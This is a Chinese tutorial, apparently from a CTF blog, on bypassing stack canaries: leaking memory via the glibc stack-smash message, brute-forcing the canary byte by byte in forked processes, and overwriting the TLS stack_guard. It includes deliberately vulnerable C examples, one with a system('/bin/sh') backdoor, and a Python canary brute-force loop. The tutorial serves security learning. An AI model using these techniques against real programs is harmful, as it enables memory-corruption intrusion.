缓冲区溢出及攻击总结(二)

4年前

stack smash

原理

怎么说,就是利用canary的报错去读取我们想要获取的内容。当栈溢出覆盖了canary,程序最后检测到canary值被破坏之后会调用stack_chk_fail函数(以glibc2.26为例)

void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
  __fortify_fail_abort (false, "stack smashing detected");
}       // debug/stack_chk_fail.c

发现传入了一串字符串和false到fortify_fail函数

void
__attribute__ ((noreturn))
__fortify_fail_abort (_Bool need_backtrace, const char *msg)
{
  /* The loop is added only to keep gcc happy.  Don't pass down
     __libc_argv[0] if we aren't doing backtrace since __libc_argv[0]
     may point to the corrupted stack.  */
  while (1)
    __libc_message (need_backtrace ? (do_abort | do_backtrace) : do_abort,
    "*** %s ***: %s terminated\n",
    msg,
    (need_backtrace && __libc_argv[0] != NULL
     ? __libc_argv[0] : "<unknown>"));
}       // debug/fortify_fail.c

发现打印了传过来的字符串和文件名,__libc_argv[0]相当于是文件名字符串的地址,(在glibc2.23只要我们把它换成我们想要获取的内容的地址,就会读出该地址的内容。),但是这里不能的,need_backtrace传过来的是flase,所以一定是"<unknown>",从2.26之后都不能用这个方法,大家可以下载glibc源码去看。 想要了解更详细可以看合天的这篇文章https://zhuanlan.zhihu.com/p/362917125

例题1

先看一道简单的例题(glibc2.23)

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

char flag[0x40];

void inits()
{
    setbuf(stdin,0);
    setbuf(stdout,0);
    setbuf(stderr,0);   
    int fd = open("./flag",0);
    if(fd == -1)
    {
        puts("Something wrong!");
        exit(0);
    }
    read(fd,flag,0x30);
    close(fd);
}

int main()
{
    char a[0x20];
    inits();
    puts("Hello!");
    gets(a);
    return 0;
}
//gcc test4-1.c -no-pie -o test4-1

有明显的栈溢出,找到flag地址,覆盖到文件名地址,得到flag。

多进程下的爆破canary

原理

函数pid_t fork(void)会创建一个新进程,操作系统会复制父进程的地址空间中的内容给子进程。调用fork函数后,子进程与父进程的执行顺序是无法确定的。子进程无法通过fork()来创建子进程。这个函数有三种返回值

  1. 在父进程中,fork返回新创建的子进程的进程ID;
  2. 在子进程中,fork返回0;
  3. 如果出现一个错误,fork返回一个负值。 如果在一个循环体内,可以利用栈溢出一个字节的一个字节的爆破canary,不断fork,直到fork返回0,证明该字节爆破成功,一共爆破7字节,最低位是\x00。

例题2

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<stdlib.h>

void inits()
{
    setbuf(stdin,0);
    setbuf(stdout,0);
    setbuf(stderr,0);
}

void backdoor()
{
    system("/bin/sh\x00");
}

void func()
{
    puts("Input your name:");
    char buf[0x20];
    read(0,buf,0x60);
}
int main(void)
{
    inits();
    pid_t pid = 0;
    while(1)
    {
        pid = fork();
        if(pid < 0)
        {
            printf("Error!");
            exit(0);
        }
        if(pid == 0)
        {
            func();
            puts("Good!");
        }
        else
            wait();
    }
    return 0;
}

通过上面的思路可直接写出exp。爆破后用后门地址覆盖返回地址。爆破部分如下:

canary = '\x00'
for j in range(7):
    for i in range(0x100):      
        p.send('a'*0x28 + canary + chr(i))
        a = p.recvuntil('Input your name:\n')
        if 'Good!' in a:
            canary += chr(i)
            print(hex(u64(canary.ljust(8,'\x00'))))
            break

例题3

网鼎杯2018-guess

开了nx和canary,放进IDA,发现它将flag读进了buf这个变量,所以我们要获取flag就要先泄露栈地址。后面fork了三次,我们不能直接泄露栈地址,只能通过泄露libc地址来泄露栈地址。在libc中保存了一个函数叫_environ,存的是当前进程的环境变量,得到libc地址后,libc基址+_environ的偏移量=_environ的地址,在内存布局中,他们同属于一个段,开启ASLR之后相对位置不变,偏移量之和libc库有关,通过_environ的地址得到_environ的值,从而得到环境变量地址,环境变量保存在栈中,所以通过栈内的偏移量,可以访问栈中任意变量。得到栈地址后,计算与buf的偏移,得到buf地址,用stack smash得到flag。不放exp了,有问题放评论。 例题3题目链接:https://buuoj.cn/challenges

参考资料:https://www.bilibili.com/video/BV1Uv411j7fr?p=10&spm_id_from=333.1007.top_right_bar_window_history.content.click

劫持TLS绕过canary

原理

线程局部存储(Thread Local Storage,TLS)看这里感觉这里介绍的很详细,我根据自己理解简单讲一下,在非主线程时,TCB结构体位于栈上,对于有足够长的栈溢出,我们很容易覆盖stack_guard以及pointer_guard,从而绕过canary。

参考:canary的各种绕过